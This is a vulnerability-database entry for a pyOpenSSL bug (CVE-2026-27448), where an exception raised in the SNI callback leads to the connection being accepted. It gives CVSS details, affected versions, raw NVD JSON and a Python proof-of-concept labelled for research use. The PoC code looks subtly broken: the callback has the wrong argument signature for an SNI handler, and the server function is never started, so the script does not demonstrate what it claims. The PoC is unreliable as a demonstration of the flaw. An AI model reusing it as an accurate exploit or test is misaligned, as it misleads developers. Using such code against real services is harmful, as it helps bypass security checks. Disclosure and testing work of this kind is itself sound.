Security Vulnerability Report
中文
CVE-2026-27448 CVSS 5.3 MEDIUM

CVE-2026-27448

Published: 2026-03-18 00:16:19
Last Modified: 2026-03-23 18:10:12

Description

pyOpenSSL is a Python wrapper around the OpenSSL library. Starting in version 0.14.0 and prior to version 26.0.0, if a user provided callback to `set_tlsext_servername_callback` raised an unhandled exception, this would result in a connection being accepted. If a user was relying on this callback for any security-sensitive behavior, this could allow bypassing it. Starting in version 26.0.0, unhandled exceptions now result in rejecting the connection.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:pyopenssl:pyopenssl:*:*:*:*:*:*:*:* - VULNERABLE
pyOpenSSL >= 0.14.0 且 < 26.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
""" CVE-2026-27448 PoC - pyOpenSSL set_tlsext_servername_callback Unhandled Exception Bypass This PoC demonstrates how an unhandled exception in the SNI callback leads to connection acceptance instead of rejection in vulnerable versions. """ import ssl import socket from OpenSSL import SSL def vulnerable_sni_callback(conn, cert, err): """ Callback that raises an unhandled exception. In vulnerable versions (<26.0.0), this causes connection to be ACCEPTED. In fixed versions (>=26.0.0), this causes connection to be REJECTED. """ server_name = conn.get_servername() # Intentionally raise an unhandled exception if server_name == b"malicious.example.com": raise ValueError(f"Unexpected server name: {server_name}") return None def create_vulnerable_server(): """Create a server demonstrating the vulnerability.""" # Create context with a self-signed certificate context = SSL.Context(SSL.TLSv1_2_METHOD) context.use_certificate_file("server.crt") context.use_privatekey_file("server.key") # Set the vulnerable SNI callback context.set_tlsext_servername_callback(vulnerable_sni_callback) return context def exploit(): """ Exploit the vulnerability by triggering the unhandled exception. """ # Create client context client_context = ssl.create_default_context() client_context.check_hostname = False client_context.verify_mode = ssl.CERT_NONE try: # Connect to server with a malicious SNI hostname with socket.create_connection(("localhost", 8443)) as sock: with client_context.wrap_socket(sock, server_hostname="malicious.example.com") as ssock: # If we reach here, the vulnerability exists # Connection was accepted despite callback exception print("[!] VULNERABLE: Connection accepted despite unhandled exception!") print(f"[*] Established TLS connection with: {ssock.getpeercert()}") except ssl.SSLError as e: # Connection was properly rejected (fixed version) print(f"[+] FIXED: Connection rejected - {e}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2026-27448 PoC") print("=" * 50) print("Testing pyOpenSSL SNI callback exception handling...") exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27448", "sourceIdentifier": "[email protected]", "published": "2026-03-18T00:16:19.107", "lastModified": "2026-03-23T18:10:12.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pyOpenSSL is a Python wrapper around the OpenSSL library. Starting in version 0.14.0 and prior to version 26.0.0, if a user provided callback to `set_tlsext_servername_callback` raised an unhandled exception, this would result in a connection being accepted. If a user was relying on this callback for any security-sensitive behavior, this could allow bypassing it. Starting in version 26.0.0, unhandled exceptions now result in rejecting the connection."}, {"lang": "es", "value": "pyOpenSSL es un envoltorio de Python alrededor de la biblioteca OpenSSL. A partir de la versión 0.14.0 y antes de la versión 26.0.0, si un callback proporcionado por el usuario a `set_tlsext_servername_callback` generaba una excepción no controlada, esto daba como resultado que se aceptara una conexión. Si un usuario dependía de este callback para cualquier comportamiento sensible a la seguridad, esto podría permitir eludirlo. A partir de la versión 26.0.0, las excepciones no controladas ahora dan como resultado el rechazo de la conexión."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-636"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pyopenssl:pyopenssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.14", "versionEndExcluding": "26.0.0", "matchCriteriaId": "1AE99DC9-6CA8-484B-962C-92A1F7652489"}]}]}], "references": [{"url": "https://github.com/pyca/pyopenssl/blob/358cbf29c4e364c59930e53a270116249581eaa3/CHANGELOG.rst#L27", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/pyca/pyopenssl/commit/d41a814759a9fb49584ca8ab3f7295de49a85aa0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pyca/pyopenssl/security/advisories/GHSA-vp96-hxj8-p424", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}